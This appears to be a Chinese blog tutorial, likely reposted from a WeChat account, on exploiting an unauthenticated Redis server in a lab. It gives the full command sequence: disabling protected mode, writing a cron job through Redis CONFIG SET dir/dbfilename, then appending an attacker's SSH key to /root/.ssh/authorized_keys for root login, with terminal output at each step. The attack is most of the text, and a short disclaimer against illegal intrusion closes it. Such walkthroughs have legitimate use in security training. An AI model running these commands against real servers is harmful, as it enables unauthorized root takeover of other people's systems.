. 知识铺垫
Redis 还有几个奇怪的功能:Linux 有一个功能可以通过一个端口写到本地文件,如果我要写一个文件,而这个文件是木马,那就自动拉起了。如果写入自己签名的公钥,用自己的私钥解公钥,自己解自己的,所以直接替换公钥,就是通过 Redis。
那么下面来实战演练一下通过redis匿名登陆写入反弹shell
![4a17557b39a479573e2e434406a80aff.png](https://i-blog.csdnimg.cn/blog_migrate/8b1860d348aae142a3619fd2670cbffa.jpeg)
. 环境准备
首先启动一个允许匿名登陆的redis服务器。
1[root@server01 src]# ./redis-server &
2[1] 11173
3[root@server01 src]# 11173:C 06 Dec 2018 00:22:43.058 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
411173:C 06 Dec 2018 00:22:43.058 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11173, just started
511173:C 06 Dec 2018 00:22:43.058 # Warning: no config file specified, using the default config. In order to specify a config file use ./redis-server /path/to/redis.conf
611173:M 06 Dec 2018 00:22:43.058 * Increased maximum number of open files to 10032 (it was originally set to 1024).
7 _._
8 _.-``__ ''-._
9 _.-`` `. `_. ''-._ Redis 5.0.2 (00000000/0) 64 bit
10 .-`` .-```. ```\/ _.,_ ''-._
11 ( ' , .-` | `, ) Running in standalone mode12 |`-._`-...-` __...-.``-._|'` _.-'| Port: 637913 | `-._ `._ / _.-' | PID: 1117314 `-._ `-._ `-./ _.-' _.-'
15 |`-._`-._ `-.__.-' _.-'_.-'| 16 | `-._`-._ _.-'_.-' | http://redis.io 17 `-._ `-._`-.__.-'_.-' _.-' 18 |`-._`-._ `-.__.-' _.-'_.-'|
19 | `-._`-._ _.-'_.-' |
20 `-._ `-._`-.__.-'_.-' _.-' 21 `-._ `-.__.-' _.-' 22 `-._ _.-' 23 `-.__.-'
24
2511173:M 06 Dec 2018 00:22:43.058 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
2611173:M 06 Dec 2018 00:22:43.058 # Server initialized
2711173:M 06 Dec 2018 00:22:43.058 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
2811173:M 06 Dec 2018 00:22:43.058 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
2911173:M 06 Dec 2018 00:22:43.058 * DB loaded from disk: 0.000 seconds
3011173:M 06 Dec 2018 00:22:43.058 * Ready to accept connections
31
32[root@server01 src]#
33[root@server01 src]# ps -ef | grep redis
34root 11173 1217 0 00:22 pts/0 00:00:00 ./redis-server *:6379
35root 11178 1217 0 00:22 pts/0 00:00:00 grep --color=auto redis
36[root@server01 src]#
假设通过端口扫描服务器存在6379
的端口号,那么就可以尝试远程来访问一下这台redis服务器。
. 远程匿名访问redis服务
1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"
3(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the '--protected-mode no' option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.
4192.168.116.128:6379>
![d841f71f912d399de0903b26a0b1489b.png](https://i-blog.csdnimg.cn/blog_migrate/e938f72ab605960dc62f8d1cd4ce1ddc.jpeg)
那么下面再把这个保护模式关闭一下,继续实战测试一下。
. 关闭redis服务的保护模式
1[root@server01 redis-stable]# vim redis.conf
2protected-mode no
![9db57041d411bf0a8ae15ac02fb34616.png](https://i-blog.csdnimg.cn/blog_migrate/e0504dbc9fc783bd674bccdcaa6ec653.jpeg)
重启redis服务:
1[root@server01 redis-stable]# cd src/
2[root@server01 src]# ./redis-server ../redis.conf
311213:C 06 Dec 2018 00:35:07.781 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
411213:C 06 Dec 2018 00:35:07.781 # Redis version=5.0.2, bits=64, commit=00000000, modified=0, pid=11213, just started
511213:C 06 Dec 2018 00:35:07.781 # Configuration loaded
6[root@server01 src]#
![076ecc5890d973fcd7fe6e8d12f79375.png](https://i-blog.csdnimg.cn/blog_migrate/3decfbddfebd4fa13a714f4d57755bac.jpeg)
. 再次入侵测试
1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo yestest > /home/test.txt\n\n"
3OK
4192.168.116.128:6379> config set dir /var/spool/cron/
5OK
6192.168.116.128:6379>
7192.168.116.128:6379> config set dbfilename root
8OK
9192.168.116.128:6379> save
10OK
11192.168.116.128:6379>
![81ef5b8b1b4572b9197ad779f62028ff.png](https://i-blog.csdnimg.cn/blog_migrate/112035a536a7290c86d2bfea85eac721.jpeg)
执行完毕之后,我们来看看服务器是不是写入了crontab定时脚本。
. 查看是否成功写入定时脚本
1[root@server01 home]# cd /var/spool/cron/
2[root@server01 cron]# ls
3[root@server01 cron]#
4[root@server01 cron]# crontabs
5-bash: crontabs: command not found
6[root@server01 cron]# ls
7root
8[root@server01 cron]# crontab -l
9REDIS0009 redis-ver5.0.2
10redis-bits????e:?used-mem¨
11aof-preamble~
12
13*/1 * * * * echo yestest > /home/test.txt
14
15?L?[root@server01 cron]#
![4728883d773ed9075a89a582a0900e4b.png](https://i-blog.csdnimg.cn/blog_migrate/8da51f56fee706aea913e564966d426d.jpeg)
查看是否正常执行:
![5d20abbc7d07e8398c95b57b2c1693bc.png](https://i-blog.csdnimg.cn/blog_migrate/d36e1fab454993379934486145e9955c.jpeg)
好了,这里已经写入了一个定时执行的脚本,完全可以写成一个shell进行执行。
那么下一步,入侵写入一个公钥,然后尝试能够使用公钥访问该台服务器。
. 入侵写入公钥,进行root提权
首先创建公钥文件目录
1[root@server01 src]# redis-cli -h 192.168.116.128 -p 6379
2192.168.116.128:6379> set 0 "\n\n*/1 * * * * mkdir -p /root/.ssh \n\n"
3OK
4192.168.116.128:6379> config set dir /var/spool/cron/
5OK
6192.168.116.128:6379> config set dbfilename root
7OK
8192.168.116.128:6379> save
9OK
10192.168.116.128:6379>
![168f4d923ca61325134599d848485dd7.png](https://i-blog.csdnimg.cn/blog_migrate/957629928bbeec3ddf64fce84dbd1cf1.jpeg)
![0f9d807b6316db55b06bf5911e7711cc.png](https://i-blog.csdnimg.cn/blog_migrate/5898dd22d5eb6c69a76a078640a94fcb.jpeg)
写入公钥文件
1192.168.116.128:6379> set 0 "\n\n*/1 * * * * echo 'ssh-rsa AAAAB3NzaC1yc2EAA...省略...3JjU=' >> /root/.ssh/authorized_keys \n\n"
2OK
3192.168.116.128:6379> config set dir /var/spool/cron/
4OK
5192.168.116.128:6379> config set dbfilename root
6OK
7192.168.116.128:6379> save
8OK
9192.168.116.128:6379>
![9dee620858bf6850dfe93147d27385e4.png](https://i-blog.csdnimg.cn/blog_migrate/f98a6bc4876cc04149c21e450726d8bf.jpeg)
查看执行情况:
![b25479438b68a6f7335aaea30906ff66.png](https://i-blog.csdnimg.cn/blog_migrate/662a3bdac38e5c6e7d755b20fc5d1fde.jpeg)
尝试公钥登陆
![a8d88ee029bf602defc03f868a1c8f4a.png](https://i-blog.csdnimg.cn/blog_migrate/b1bccb1814f3944bb30db9e3d2fa21d4.jpeg)
![76b469fc7befedff88dbbeb680f129f3.png](https://i-blog.csdnimg.cn/blog_migrate/5252906a6ba80e2dc9e6fd1632464af3.jpeg)
已经成功登陆服务器的root权限。
安全系列的演练是为了提醒更好的预防,切忌进行非法入侵。
如果您觉得不错,请别忘了转发、分享、点赞让更多的人去学习, 您的举手之劳,就是对小编最好的支持,非常感谢!
小编有话说
宁愿跑起来被拌倒无数次,也不愿规规矩矩走一辈子。就算跌倒也要豪迈的笑。
目前10000+人已关注加入我们
关注公众号回复【资料】即可获得python、php、java、前端等视频资源
![0c898adc46296a77ab0358faf95c3070.png](https://i-blog.csdnimg.cn/blog_migrate/79d0b335bb0c1678e95cf34bb6bb5d68.jpeg)